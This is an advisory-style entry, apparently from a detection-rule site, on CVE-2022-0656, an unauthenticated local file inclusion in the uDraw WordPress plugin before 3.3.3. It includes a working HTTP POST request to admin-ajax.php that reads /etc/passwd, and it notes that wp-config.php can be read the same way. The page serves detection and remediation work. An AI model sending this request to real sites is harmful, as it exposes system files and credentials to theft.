🔙 목록으로 돌아가기

CVE-2022-0656: uDraw <3.3.3 - Local File Inclusion

TitleuDraw <3.3.3 - Local File Inclusion
Authorakincibor
SeverityHigh
ImpactAn attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
RemediationUpgrade uDraw to version 3.3.3 or later to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.68162
CVE IDCVE-2022-0656
CWE IDCWE-552
Tags cve cve2022 wp wordpress wp-plugin unauth lfi udraw wpscan webtoprint vkev vuln

🔍 Vulnerability Description

uDraw before 3.3.3 does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

action=udraw_convert_url_to_base64&url=/etc/passwd

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0656.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0656.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A